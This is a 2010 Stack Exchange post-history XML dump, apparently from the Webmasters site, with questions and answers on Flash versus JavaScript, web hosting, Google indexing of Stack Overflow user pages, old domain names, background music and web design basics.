  <row Id="4936" PostHistoryTypeId="2" PostId="2545" RevisionGUID="9f0fb6c1-1918-4bad-9e8b-130932937d5f" CreationDate="2010-08-25T12:19:11.663" UserId="1725" Text="So I'm working on a fairly large project, it's a website that will service about 7000 customers, the website gets about 2500 hits per day, and will be packed as a server and re-sold as a total solution to dozens of other organizations that are in similar situations as this. &#xD;&#xA;&#xD;&#xA;The website will have a *lot* of user input areas. We will need tables of data, your standard registration fields, we will need full control over things like ajax, etc...&#xD;&#xA;&#xD;&#xA;What would be the best way to build a website? I'm generally concerned about things like compatibility, ease of use, load times, the bandwidth, etc...&#xD;&#xA;&#xD;&#xA;The client has also told us that they need a big spinning globe on the main page, and animated modal dialog boxes, lots of things that move around and animate while sliding, and basically the business website needs to be heavily animated.&#xD;&#xA;&#xD;&#xA;Is flash too old? Is javascript even worth-while using?" />
  <row Id="4937" PostHistoryTypeId="1" PostId="2545" RevisionGUID="9f0fb6c1-1918-4bad-9e8b-130932937d5f" CreationDate="2010-08-25T12:19:11.663" UserId="1725" Text="Flash vs JS+css+html -- Website" />
  <row Id="4938" PostHistoryTypeId="3" PostId="2545" RevisionGUID="9f0fb6c1-1918-4bad-9e8b-130932937d5f" CreationDate="2010-08-25T12:19:11.663" UserId="1725" Text="&lt;website-design&gt;" />
  <row Id="4939" PostHistoryTypeId="2" PostId="2546" RevisionGUID="311c85c7-7097-4e4f-b122-dbcc622eca5a" CreationDate="2010-08-25T12:30:02.457" UserId="5137" Text="what kind of hosting do you need ?&#xD;&#xA;if you need vps , I recommend vps.net ( cloud hosting )" />
  <row Id="4940" PostHistoryTypeId="16" PostId="2546" RevisionGUID="311c85c7-7097-4e4f-b122-dbcc622eca5a" CreationDate="2010-08-25T12:30:02.457" UserId="-1" />
  <row Id="4941" PostHistoryTypeId="2" PostId="2547" RevisionGUID="1b7d1eb4-2805-44fb-bc9b-3ddccf4f0660" CreationDate="2010-08-25T13:02:09.820" UserId="1429" Text="If you go to [my user page][1] on Stack Overflow and you check it with the Gogle bar you can see has got no PR at all (this does happen for almost any user page, even people with [much][2] [higher][3] [reputation][4], the only exceptions seem to be the [users in page 1][5], and [some other users][6] they have PR).&#xD;&#xA;&#xD;&#xA;**My user page's Page Rank is not only zero, but not calculated at all.**&#xD;&#xA;&#xD;&#xA;When PR is 0 or less than 1, but calculated the Google bar shows white, but when the PR is not even calculated like in my user page the Google bar shows in grey.&#xD;&#xA;&#xD;&#xA;![alt text][7]&#xD;&#xA;&#xD;&#xA;I further more discovered that **my user page is NOT EVEN INDEXED on Google**, simple test is [searching on Google for the exact page url][8]: &quot;http://stackoverflow.com/users/260080/marco-demaio&quot; and you will see no result.&#xD;&#xA;&#xD;&#xA;The question is **how can this be???&#xD;&#xA;This is really wired to me because of the following reason:**&#xD;&#xA;&#xD;&#xA;If you search on Google for &quot;Marco Demaio&quot; on stackoverflow site only (you can do this by searching &quot;site:stackoverflow.com Marco Demaio&quot;) the [search result][9] shows hundreds of 'asking/answering questions' pages where I was 'tagged'!!! Let's check one of these: [the 1st one that appears now][10] (shows one of the question I asked). We can be sure this page is indexed in Google because comes out in a search moreover its PR is calculated, it's probably nearly zero, but still **some PR flows there**, **the PR bar is not grey, but white**:&#xD;&#xA;&#xD;&#xA;![alt text][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[The page shown above][12] has got links to [my own user page][13]. I checked the source code of the page shown above and the links are not **hidden or set with a rel=&quot;nofollow&quot;**, moreover I can't see any meta character excluding the links on the page from being followed.&#xD;&#xA;&#xD;&#xA;**So what's happening? Why Google does not see [my user page][1] at all.**&#xD;&#xA;&#xD;&#xA;**Did stackoverflow do something to achieve this? If yes what did they do?** &#xD;&#xA;&#xD;&#xA;Any explantion really appreciates (as always).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. obviously I checked also the code of my user page, but I could not find meta tags excluding Google search for the page.&#xD;&#xA;&#xD;&#xA;P.S. 2 in a desperate adventure I also checked StackOverflow [robots][14] but it does not seem to exclude user pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [2]: http://stackoverflow.com/users/148870/amber&#xD;&#xA;  [3]: http://stackoverflow.com/users/21886/richiehindle&#xD;&#xA;  [4]: http://stackoverflow.com/users/67132/michael&#xD;&#xA;  [5]: http://stackoverflow.com/users?page=1&amp;tab=&#xD;&#xA;  [6]: http://stackoverflow.com/users/1/jeff-atwood&#xD;&#xA;  [7]: http://i.stack.imgur.com/uAZiC.jpg&#xD;&#xA;  [8]: http://www.google.com/#hl=en&amp;source=hp&amp;q=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;btnG=Google+Search&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;gs_rfai=&amp;pbx=1&amp;fp=7db4f7af4a13aa89&#xD;&#xA;  [9]: http://www.google.it/#q=site:stackoverflow.com+Marco+Demaio&amp;hl=en&amp;prmd=o&amp;ei=_AZ1TOriCsyWOLfwyKAG&amp;start=20&amp;sa=N&amp;fp=33793d66ac60e1ca&#xD;&#xA;  [10]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [11]: http://i.stack.imgur.com/NctIF.jpg&#xD;&#xA;  [12]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [13]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [14]: http://stackoverflow.com/robots.txt" />
  <row Id="4942" PostHistoryTypeId="1" PostId="2547" RevisionGUID="1b7d1eb4-2805-44fb-bc9b-3ddccf4f0660" CreationDate="2010-08-25T13:02:09.820" UserId="1429" Text="SEO: many stackoverflow users' pages have got no Google PR and they are not indexed, why?" />
  <row Id="4943" PostHistoryTypeId="3" PostId="2547" RevisionGUID="1b7d1eb4-2805-44fb-bc9b-3ddccf4f0660" CreationDate="2010-08-25T13:02:09.820" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="4944" PostHistoryTypeId="2" PostId="2548" RevisionGUID="15a78c30-f1be-484e-a434-e9efbeda62e1" CreationDate="2010-08-25T13:09:49.973" UserId="231" Text="If the target audience is composed of mobile users, than the answer is obvious: JS+CSS.&lt;br /&gt;&#xD;&#xA;Otherwise, there are pros and cons for both solutions and each has it's own supporters (it's a never-ending debate, actually), but I think it depends on you and what you are comfortable with. For instance, I find JS+CSS more easy to use, but that's just a personal opinion." />
  <row Id="4945" PostHistoryTypeId="2" PostId="2549" RevisionGUID="28ea7874-d2c7-4274-83a2-71ef3ef93e7c" CreationDate="2010-08-25T13:16:04.220" UserId="1725" Text="I like [amazon s3][1] for basic requirements, it allows you to start and grow in terms of size, rather than tossing down hundreds a month for a massive box that you might not even get any use from if things flop.&#xD;&#xA;&#xD;&#xA;[Dreamhost][2] is great to migrate your site to eventually if things work well, Slicehost is another option, which have far better tech support than dream host.&#xD;&#xA;&#xD;&#xA;You could always run your own server depending on your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/&#xD;&#xA;  [2]: http://www.dreamhost.com/" />
  <row Id="4946" PostHistoryTypeId="16" PostId="2549" RevisionGUID="28ea7874-d2c7-4274-83a2-71ef3ef93e7c" CreationDate="2010-08-25T13:16:04.220" UserId="-1" />
  <row Id="4947" PostHistoryTypeId="2" PostId="2550" RevisionGUID="4cb460a1-7b12-459a-b25b-0c0cfe6288da" CreationDate="2010-08-25T13:16:09.430" UserId="1253" Text="The server side database and programming language you choose is entirely up to you as the customer is not going to know, nor care, what language it is written in as long as it works. And since you are controlling the server environment you can use anything you want. So choose a programming language and database that your team finds easy to work with and most familiar. &#xD;&#xA;&#xD;&#xA;As far as the client side goes you don't have to choose between flash or JavaScript. You can use both if they serve a specific purpose. If something is simply an animation for animation's sake then Flash is a good choice as it is simple to create animations with. And if someone doesn't have access to flash, like on a mobile device, then they won't be missing any functionality. If the animated bits are functional parts of the web page then JavaScript seems like a good tool to use.&#xD;&#xA;&#xD;&#xA;FYI, there's no such thing as &quot;too old&quot; in web design and programming. There's only the right tool for the job and not." />
  <row Id="4948" PostHistoryTypeId="2" PostId="2551" RevisionGUID="ec7441f5-5ed8-4380-9113-451f017c8d65" CreationDate="2010-08-25T13:19:01.350" UserId="1725" Text="Make your site scale well. This tidbit of advice about 800x600 came from the days when designers would force sites to be 1024 when most people had 800, and couldn't view the site decently.&#xD;&#xA;&#xD;&#xA;As mentioned before, the existing trend is to re-size your browser on your screen to fit against the other windows to optimize working.&#xD;&#xA;&#xD;&#xA;My browser window is never the same size, i'm always moving it. Your wesbite should be able to deal with that, just like stackexchange does. Obviously don't worry about extreme cases where I make my window too thin." />
  <row Id="4949" PostHistoryTypeId="2" PostId="2552" RevisionGUID="5e69e422-cbe8-4191-82d6-340b001b43ab" CreationDate="2010-08-25T13:22:04.147" UserId="1253" Text="[My StackOverflow profile page is indexed][1].&#xD;&#xA;&#xD;&#xA;The Google toolbar does not update PR as often as Google does internally. The PR you see in the toolbar is stale and usually months old. Pages that you see with no PR or zero PR probably have more PR then that. You just don't know it yet because Google hasn't pushed that info out to the toolbar yet.&#xD;&#xA;&#xD;&#xA;As far as indexing profile pages, those pages typically have low PR and low relevance for anything other then a user's name. They probably are of low priority for Google to index and, if they do, may push them to their supplemental index or do other things with them we are not aware of.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/#hl=en&amp;safe=off&amp;q=http%3A%2F%2Fstackoverflow.com%2Fusers%2F250259%2Fjohn-conde&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=http%3A%2F%2Fstackoverflow.com%2Fusers%2F250259%2Fjohn-conde&amp;gs_rfai=&amp;pbx=1&amp;fp=1&amp;cad=b" />
  <row Id="4950" PostHistoryTypeId="2" PostId="2553" RevisionGUID="e2a770b4-42f8-443e-aef2-77f873dcf6ad" CreationDate="2010-08-25T13:27:05.307" UserId="96" Text="The best way to address concerns about compatibility, ease of use, load times, bandwidth and the like is to design and develop the site with a careful separation of presentation, logic, and storage. Whether the front end is Flash or HTML/CSS/JavaScript, the most important thing is that it's just a front end. This way you can change and improve the user-facing stuff without impact on the logic or storage. &#xD;&#xA;&#xD;&#xA;As John Conde pointed out, your choice for server-side logic is up to you: pick the tool that's right for you and right for the job at hand. Ditto for storage (database) systems. But again, be sure that the logic and storage are separate.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4951" PostHistoryTypeId="2" PostId="2554" RevisionGUID="b8259c43-47cb-4f7c-ad98-1517cde6002e" CreationDate="2010-08-25T13:27:31.157" UserId="1253" Text="I have a dedicated server (day job) and reseller account (personal stuff) through [Hostgator][1]. They have never been anything less then awesome and the pricing is outstanding.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com" />
  <row Id="4952" PostHistoryTypeId="16" PostId="2554" RevisionGUID="b8259c43-47cb-4f7c-ad98-1517cde6002e" CreationDate="2010-08-25T13:27:31.157" UserId="-1" />
  <row Id="4953" PostHistoryTypeId="2" PostId="2555" RevisionGUID="f54ee23d-e4f2-46c8-afe1-37f65836e00a" CreationDate="2010-08-25T14:02:17.747" UserId="233" Text="If a page is not indexed (as your user page is not) or newly indexed then it will not have a PageRank assigned to it. Some online services like prchecker.info give you &quot;N/A&quot; as the value. It looks like the PR toolbar just shows blank instead of showing you the N/A or an error.&#xD;&#xA;&#xD;&#xA;As for why the pages are not indexed it's difficult to know exactly but I'd hazard a guess that either they are not listed in SO's sitemap, or they are given a very low priority compared to the actual questions. Since so many questions are asked daily Googlebot is concerning the majority of its time with those instead of the user pages.&#xD;&#xA;&#xD;&#xA;With your rep of 1,225 you are ranked something like 8,000th in the user list so are fairly low priority in Googlebot's eyes.&#xD;&#xA;&#xD;&#xA;[Jon Skeet][1] has PR4, by the way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/users/22656/jon-skeet" />
  <row Id="4954" PostHistoryTypeId="2" PostId="2556" RevisionGUID="e77c4f43-2744-43b1-b0e4-41e4a1269237" CreationDate="2010-08-25T14:03:40.007" UserId="1728" Text="Even almost all PHP CMS will work on Windows Server, if you have some ASP.NET knowledge then I would highly recommend N2CMS. I tried DNN, Umbraco, Kentico, but N2 is far better in terms of simplicity of styling and modification (dev on new content types, for example products, categories). For db access it uses Nhibernate, so you can choose your dbase based on demand (sqlite,sqlce, mssql, mysql, ...)  &#xD;&#xA;It's free, easily styled (you can make it look like fogcreek just with HTML and CSS), uses standard asp.net master/content pages, MVC or WebForms pattern, it's multilanguage, multidomain.   &#xD;&#xA;At the time of writing this, I think it's the best .NET CMS for general purpose. All others (DNN, Ubraco, Kentico) are just to complex, without any added value IMHO. But MS-backed Orchard is closing fast. Only drawback of N2 would be small amount of skins. You have to make your own. " />
  <row Id="4955" PostHistoryTypeId="5" PostId="2540" RevisionGUID="efa8c2a7-2e60-4c58-8d58-906203ffacfc" CreationDate="2010-08-25T14:15:20.807" UserId="1703" Comment="added 31 characters in body" Text="I've had a look for this before but couldn't find the exact thing. I did find these though and they might be useful to you:&#xD;&#xA;&#xD;&#xA;http://www.simpleviewer.net/simpleviewer/&#xD;&#xA;&#xD;&#xA;http://slideshowpro.net/&#xD;&#xA;&#xD;&#xA;Not really jQuery though :(" />
  <row Id="4956" PostHistoryTypeId="2" PostId="2557" RevisionGUID="6c274e87-a8f1-4ac1-b337-cfb49394f448" CreationDate="2010-08-25T14:16:50.777" UserId="233" Text="One solution would be to use Javascript to add all the link titles once the page has loaded. This means the download for the user will be small - although depending on how long the string really is, it could eat up more memory. Another possible downside: search engines and some screenreaders may not see the link titles.&#xD;&#xA;&#xD;&#xA;First add a class to your links. I kept it very short to keep the bloat as low as possible, but you may want a more descriptive class name.&#xD;&#xA;&#xD;&#xA;	&lt;a id=&quot;1&quot; class=&quot;t&quot; href=&quot;goThere1&quot;&gt;My 1st link&lt;/a&gt;&#xD;&#xA;	[...]    &#xD;&#xA;	&lt;a id=&quot;2000&quot; class=&quot;t&quot; href=&quot;goThere2000&quot;&gt;My 2000th link&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Then add this Javascript (untested but should work):&#xD;&#xA;&#xD;&#xA;	&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;	var titleString = &quot;A very long string common to all my links that i would like to have only once in the file in order to gain weight.&quot;&#xD;&#xA;	var links = document.getElementsByClassName('t');&#xD;&#xA;	for ( var l in link )&#xD;&#xA;	{&#xD;&#xA;		l.setAttribute('title', titleString);&#xD;&#xA;	}&#xD;&#xA;	&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4957" PostHistoryTypeId="5" PostId="2547" RevisionGUID="3a713654-f952-48c3-8b70-e27d4b48b5ce" CreationDate="2010-08-25T15:12:43.817" UserId="1429" Comment="added 849 characters in body; added 8 characters in body" Text="If you go to [my user page][1] on Stack Overflow and you check it with the Gogle bar you can see has got no PR at all (this does happen for almost any user page, even people with [much][2] [higher][3] [reputation][4], the only exceptions seem to be the [users in page 1][5], and [some other users][6] they have PR).&#xD;&#xA;&#xD;&#xA;**My user page's Page Rank is not only zero, but not calculated at all.**&#xD;&#xA;&#xD;&#xA;When PR is 0 or less than 1, but calculated the Google bar shows white, but when the PR is not even calculated like in my user page the Google bar shows in grey.&#xD;&#xA;&#xD;&#xA;![alt text][7]&#xD;&#xA;&#xD;&#xA;I further more discovered that **my user page is NOT EVEN INDEXED on Google**, simple test is [searching on Google for the exact page url][8]: &quot;http://stackoverflow.com/users/260080/marco-demaio&quot; and you will see no result.&#xD;&#xA;&#xD;&#xA;The question is **how can this be???&#xD;&#xA;This is really wired to me because of the following reason:**&#xD;&#xA;&#xD;&#xA;If you search on Google for &quot;Marco Demaio&quot; on stackoverflow site only (you can do this by searching &quot;site:stackoverflow.com Marco Demaio&quot;) the [search result][9] shows hundreds of 'asking/answering questions' pages where I was 'tagged'!!! Let's check one of these: [the 1st one that appears now][10] (shows one of the question I asked). We can be sure this page is indexed in Google because comes out in a search moreover its PR is calculated, it's probably nearly zero, but still **some PR flows there**, **the PR bar is not grey, but white**:&#xD;&#xA;&#xD;&#xA;![alt text][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[The page shown above][12] has got links to [my own user page][13]. I checked the source code of the page shown above and the links are not **hidden or set with a rel=&quot;nofollow&quot;**, moreover I can't see any meta character excluding the links on the page from being followed.&#xD;&#xA;&#xD;&#xA;**So what's happening? Why Google does not see [my user page][14] at all.**&#xD;&#xA;&#xD;&#xA;**Did stackoverflow do something to achieve this? If yes what did they do?** &#xD;&#xA;&#xD;&#xA;Any explantion really appreciates (as always).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. obviously I checked also the code of my user page, but I could not find meta tags excluding Google search for the page.&#xD;&#xA;&#xD;&#xA;P.S. 2 in a desperate adventure I also checked StackOverflow [robots][15] but it does not seem to exclude user pages.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;following up on some answers, I did some more research. Excluding for a while the PR problem (since PR is not science), and looking only at the **user page on StackOverflow NOT BEING INDEXED problem**: **pages do not seem to be indexed by Google because of the user reputation**, [this user][16] for instance has got NOW 200 points less reputation than me and his page is indexed (while mine not).&#xD;&#xA;**It does not seem even to be connected with months you have been on Stackoverflow**, [this user][17] (almost my same reputation) has been there for 3 months only and his page is indexed (while mine not and I have been a user for 7 months).&#xD;&#xA;&#xD;&#xA;It's bizzarre!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [2]: http://stackoverflow.com/users/148870/amber&#xD;&#xA;  [3]: http://stackoverflow.com/users/21886/richiehindle&#xD;&#xA;  [4]: http://stackoverflow.com/users/67132/michael&#xD;&#xA;  [5]: http://stackoverflow.com/users?page=1&amp;tab=&#xD;&#xA;  [6]: http://stackoverflow.com/users/1/jeff-atwood&#xD;&#xA;  [7]: http://i.stack.imgur.com/uAZiC.jpg&#xD;&#xA;  [8]: http://www.google.com/#hl=en&amp;source=hp&amp;q=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;btnG=Google+Search&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=http%3A%2F%2Fstackoverflow.com%2Fusers%2F260080%2Fmarco-demaio&amp;gs_rfai=&amp;pbx=1&amp;fp=7db4f7af4a13aa89&#xD;&#xA;  [9]: http://www.google.it/#q=site:stackoverflow.com+Marco+Demaio&amp;hl=en&amp;prmd=o&amp;ei=_AZ1TOriCsyWOLfwyKAG&amp;start=20&amp;sa=N&amp;fp=33793d66ac60e1ca&#xD;&#xA;  [10]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [11]: http://i.stack.imgur.com/NctIF.jpg&#xD;&#xA;  [12]: http://stackoverflow.com/questions/2607946/js-encodeuricomponent-result-different-from-the-one-created-by-form&#xD;&#xA;  [13]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [14]: http://stackoverflow.com/users/260080/marco-demaio&#xD;&#xA;  [15]: http://stackoverflow.com/robots.txt&#xD;&#xA;  [16]: http://stackoverflow.com/users/308392/michal-trybus&#xD;&#xA;  [17]: http://stackoverflow.com/users/348350/pieter" />
  <row Id="4958" PostHistoryTypeId="2" PostId="2558" RevisionGUID="b3f84b4a-eae5-400c-b5ad-220520f0b7b4" CreationDate="2010-08-25T16:02:16.920" UserId="18" Text="For shared I recommend [Webfaction][1] especially for Django based sites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webfaction.com/" />
  <row Id="4959" PostHistoryTypeId="16" PostId="2558" RevisionGUID="b3f84b4a-eae5-400c-b5ad-220520f0b7b4" CreationDate="2010-08-25T16:02:16.920" UserId="-1" />
  <row Id="4960" PostHistoryTypeId="2" PostId="2559" RevisionGUID="510d8f13-2dda-43a8-adc6-c609604d2e9d" CreationDate="2010-08-25T17:16:53.477" UserId="400" Text="I purchased some domain names a few years ago intending to build something on them. I haven't had the time to develop any of the websites, but I still think they have potential.&#xD;&#xA;&#xD;&#xA;What would you do? *Let them expire, sell them, create a sign-up page to gauge user interest, something else?*&#xD;&#xA;&#xD;&#xA;Are there any resources/methods/tools you can recommend to accomplish this?" />
  <row Id="4961" PostHistoryTypeId="1" PostId="2559" RevisionGUID="510d8f13-2dda-43a8-adc6-c609604d2e9d" CreationDate="2010-08-25T17:16:53.477" UserId="400" Text="What should I do with these old domain names?" />
  <row Id="4962" PostHistoryTypeId="3" PostId="2559" RevisionGUID="510d8f13-2dda-43a8-adc6-c609604d2e9d" CreationDate="2010-08-25T17:16:53.477" UserId="400" Text="&lt;domains&gt;&lt;tools&gt;&lt;webmaster-tools&gt;&lt;parking&gt;" />
  <row Id="4963" PostHistoryTypeId="2" PostId="2560" RevisionGUID="ceb6b802-8765-45e0-891d-1cecbf63f1df" CreationDate="2010-08-25T18:08:46.617" UserId="236" Text="Depends on how high quality these domain names are. If you think you could get a decent price for them at auction, I would go that route. Otherwise, I would let them expire and make there way into the market." />
  <row Id="4964" PostHistoryTypeId="2" PostId="2561" RevisionGUID="2544e093-003b-43db-8652-d0b4476ab1de" CreationDate="2010-08-25T18:29:58.753" UserId="1134" Text="Don't forget more and more people are using Smart Phones (and sometimes even not so smart phones) to view sites. Netbooks are also proliferating. Designing your site to look good for users with lower resolution is in some ways more important now than it has ever been." />
  <row Id="4965" PostHistoryTypeId="2" PostId="2562" RevisionGUID="cb955a9e-9bfb-45d9-b002-612254774964" CreationDate="2010-08-25T19:04:01.297" UserId="1725" Text="When is it suitable to use background music on a web site? Do users like this?" />
  <row Id="4966" PostHistoryTypeId="1" PostId="2562" RevisionGUID="cb955a9e-9bfb-45d9-b002-612254774964" CreationDate="2010-08-25T19:04:01.297" UserId="1725" Text="Music on a web page?" />
  <row Id="4967" PostHistoryTypeId="3" PostId="2562" RevisionGUID="cb955a9e-9bfb-45d9-b002-612254774964" CreationDate="2010-08-25T19:04:01.297" UserId="1725" Text="&lt;website-design&gt;" />
  <row Id="4968" PostHistoryTypeId="2" PostId="2563" RevisionGUID="68dd068b-adb2-43b9-88be-e184e40dd77f" CreationDate="2010-08-25T19:07:30.960" UserId="108" Text="Check out this site to get an understanding of the value of domain names in general, http://www.igoldrush.com/domain-guide/domain-buying-and-selling/determining-the-value-of-your-domain-names/.&#xD;&#xA;&#xD;&#xA;There are some sites that will give you quotes. GoDaddy gives free quotes but they really only look at how many visits your site has had over a period of time.&#xD;&#xA;&#xD;&#xA;In general domain names are worth much unless they have short, easy to recognize and remember, and are a .com.&#xD;&#xA;&#xD;&#xA;If your domain names aren't obviously worth any money then I would suggest letting them expire or you could just hold on to them for the annual registration fee which runs around $10 until you find a better use for them." />
  <row Id="4969" PostHistoryTypeId="2" PostId="2564" RevisionGUID="a495557f-fb8e-4918-98b6-60a56d350d07" CreationDate="2010-08-25T19:12:10.873" UserId="1134" Text="Never. Well maybe if it's a myspace page. Though in that case it's more expected then suitable.&#xD;&#xA;Or if it's a website for a band, you could have music that the user could click to play, but it shouldn't automatically start, and there should be a way to stop it as well.&#xD;&#xA;Or if it's a game, you can have music, but again there should be a way to stop the music.&#xD;&#xA;&#xD;&#xA;Almost no one likes having their speakers hijacked, especially if they are already listening to music (pretty common) having new music play over top is just plain annoying." />
  <row Id="4970" PostHistoryTypeId="2" PostId="2565" RevisionGUID="a96c8b3b-cfe1-40c0-8e37-c0fd188437d3" CreationDate="2010-08-25T19:16:00.180" UserId="108" Text="In general I dislike background music on a website. It slows down load time, it surprises users who have their speakers turned on, and its annoying.  It is similar to flashing text on a web page.&#xD;&#xA;&#xD;&#xA;The only time it makes sense to me is for a site about music or for a band.  Then it can be expected.&#xD;&#xA;&#xD;&#xA;The better solution is to have a player on you web page like @aslum suggested that way people can choose to play your music or not." />
  <row Id="4971" PostHistoryTypeId="2" PostId="2566" RevisionGUID="7eed676c-6c57-4e48-92cc-72095b0cacdd" CreationDate="2010-08-25T19:17:27.710" UserId="1725" Text="What are some core elements of great web design?&#xD;&#xA;&#xD;&#xA;Things like speed, layout, etc... Can we determine a something from the community for what we have all tried and works?" />
  <row Id="4972" PostHistoryTypeId="1" PostId="2566" RevisionGUID="7eed676c-6c57-4e48-92cc-72095b0cacdd" CreationDate="2010-08-25T19:17:27.710" UserId="1725" Text="Elements of web design" />
  <row Id="4973" PostHistoryTypeId="3" PostId="2566" RevisionGUID="7eed676c-6c57-4e48-92cc-72095b0cacdd" CreationDate="2010-08-25T19:17:27.710" UserId="1725" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="4974" PostHistoryTypeId="16" PostId="2566" RevisionGUID="7eed676c-6c57-4e48-92cc-72095b0cacdd" CreationDate="2010-08-25T19:17:27.710" UserId="1725" />
  <row Id="4975" PostHistoryTypeId="2" PostId="2567" RevisionGUID="d08a22a2-512c-4c38-9b95-8fa18c0352ca" CreationDate="2010-08-25T19:21:02.337" UserId="108" Text="I think your best bet is reading the books on [Jeff Atwood's reading list][1] that deal with web design.&#xD;&#xA;&#xD;&#xA;Beyond that to me it is all about:&#xD;&#xA;&#xD;&#xA; 1. Elegant layouts&#xD;&#xA; 2. Speed&#xD;&#xA; 3. Low number of bugs&#xD;&#xA; 4. Elegant layouts&#xD;&#xA; 5. Elegant layouts&#xD;&#xA; 6. Elegant layouts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2004/02/recommended-reading-for-developers.html" />
  <row Id="4976" PostHistoryTypeId="16" PostId="2567" RevisionGUID="d08a22a2-512c-4c38-9b95-8fa18c0352ca" CreationDate="2010-08-25T19:21:02.337" UserId="-1" />
  <row Id="4977" PostHistoryTypeId="2" PostId="2568" RevisionGUID="5eb89a75-67ea-4c28-97ea-194d5bbec6c5" CreationDate="2010-08-25T19:27:34.440" UserId="1253" Text=" 1. Valid markup - so you know it works in all browser past, present, and future (bugs excluded of course)&#xD;&#xA; 2. Lean code - less code means faster page loading and usually faster rendering&#xD;&#xA; 3. Usability - it may look pretty but if I can't figure out how it works I'm leaving&#xD;&#xA; 4. Accessibility - disabled people use the web, too&#xD;&#xA; 5. Flexible - it works on screens and devices large and small&#xD;&#xA; 6. No unnecessary content or gimmicks &#xD;&#xA;&#xD;&#xA;" />
  <row Id="4978" PostHistoryTypeId="16" PostId="2568" RevisionGUID="5eb89a75-67ea-4c28-97ea-194d5bbec6c5" CreationDate="2010-08-25T19:27:34.440" UserId="-1" />
  <row Id="4979" PostHistoryTypeId="2" PostId="2569" RevisionGUID="fdc56e36-5947-4cac-9d4b-4c2d643532bf" CreationDate="2010-08-25T19:39:00.367" UserId="1735" Text="I think the answer goes for any type of media. If the user did not ask it to happen, it will be viewed as an intrusion by many people.&#xD;&#xA;&#xD;&#xA;Even in the case of a band site, I would embed players the user could access, but never autoplay." />
  <row Id="4980" PostHistoryTypeId="2" PostId="2570" RevisionGUID="f18e6260-4e29-4de3-99a8-4b826f8efca3" CreationDate="2010-08-25T19:44:21.737" UserId="1253" Text="If there is an exception to the rule it would be websites that music is expected such as for a band/musician. Ideally in these cases though you will put a very obvious media player on the page and give the user an opportunity to turn the sound off (and possibly even opt of the sound for future visits)." />
  <row Id="4981" PostHistoryTypeId="2" PostId="2571" RevisionGUID="6fbc7694-247e-4c47-bbf1-382cf2dc1340" CreationDate="2010-08-25T19:56:15.013" UserId="1736" Text="I know there is a group which promotes very basic HTML. They advocate against CSS and JavaScript. Does anyone know the name of this group?&#xD;&#xA;&#xD;&#xA;Just to be clear this was a website, or a foundation, or a society, or some kind of group. It wasn't a person or a browser maker. They were advocating minimal HTML as sufficent to express web content. They were against CSS and JavaScript on principal that they were extraneous and bloatware. The web pages on this site rendered using whatever built-in styling your browser had for things like H1 and OL tags, which looked like crap compared to what we're all used to. They had a page for &quot;Friends Of...&quot; which linked to sites that used very basic HTML markup, but with maybe a dash of basic CSS. The idea was to promote this way of designing pages and to avoid just about any styling or scripting.&#xD;&#xA;&#xD;&#xA;I found the site when it was picked up in various technical news aggregators, like Digg, Hacker News, DZone, etc.&#xD;&#xA;&#xD;&#xA;Does anyone recall the group's name or url?" />
  <row Id="4982" PostHistoryTypeId="1" PostId="2571" RevisionGUID="6fbc7694-247e-4c47-bbf1-382cf2dc1340" CreationDate="2010-08-25T19:56:15.013" UserId="1736" Text="Who Is Against CSS and JS?" />
  <row Id="4983" PostHistoryTypeId="3" PostId="2571" RevisionGUID="6fbc7694-247e-4c47-bbf1-382cf2dc1340" CreationDate="2010-08-25T19:56:15.013" UserId="1736" Text="&lt;css&gt;&lt;html&gt;&lt;javascript&gt;" />
  <row Id="4984" PostHistoryTypeId="10" PostId="2526" RevisionGUID="1237bf66-ba31-4f78-973b-7fdde3126031" CreationDate="2010-08-25T20:48:44.230" UserId="180" CloseReasonId="3" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="4985" PostHistoryTypeId="2" PostId="2572" RevisionGUID="af87703a-d0d0-4452-8918-4075eb8e5b8a" CreationDate="2010-08-25T20:57:17.293" UserId="871" Text="The Internet Explorer team?&#xD;&#xA;&#xD;&#xA;I kid, I kid :)" />
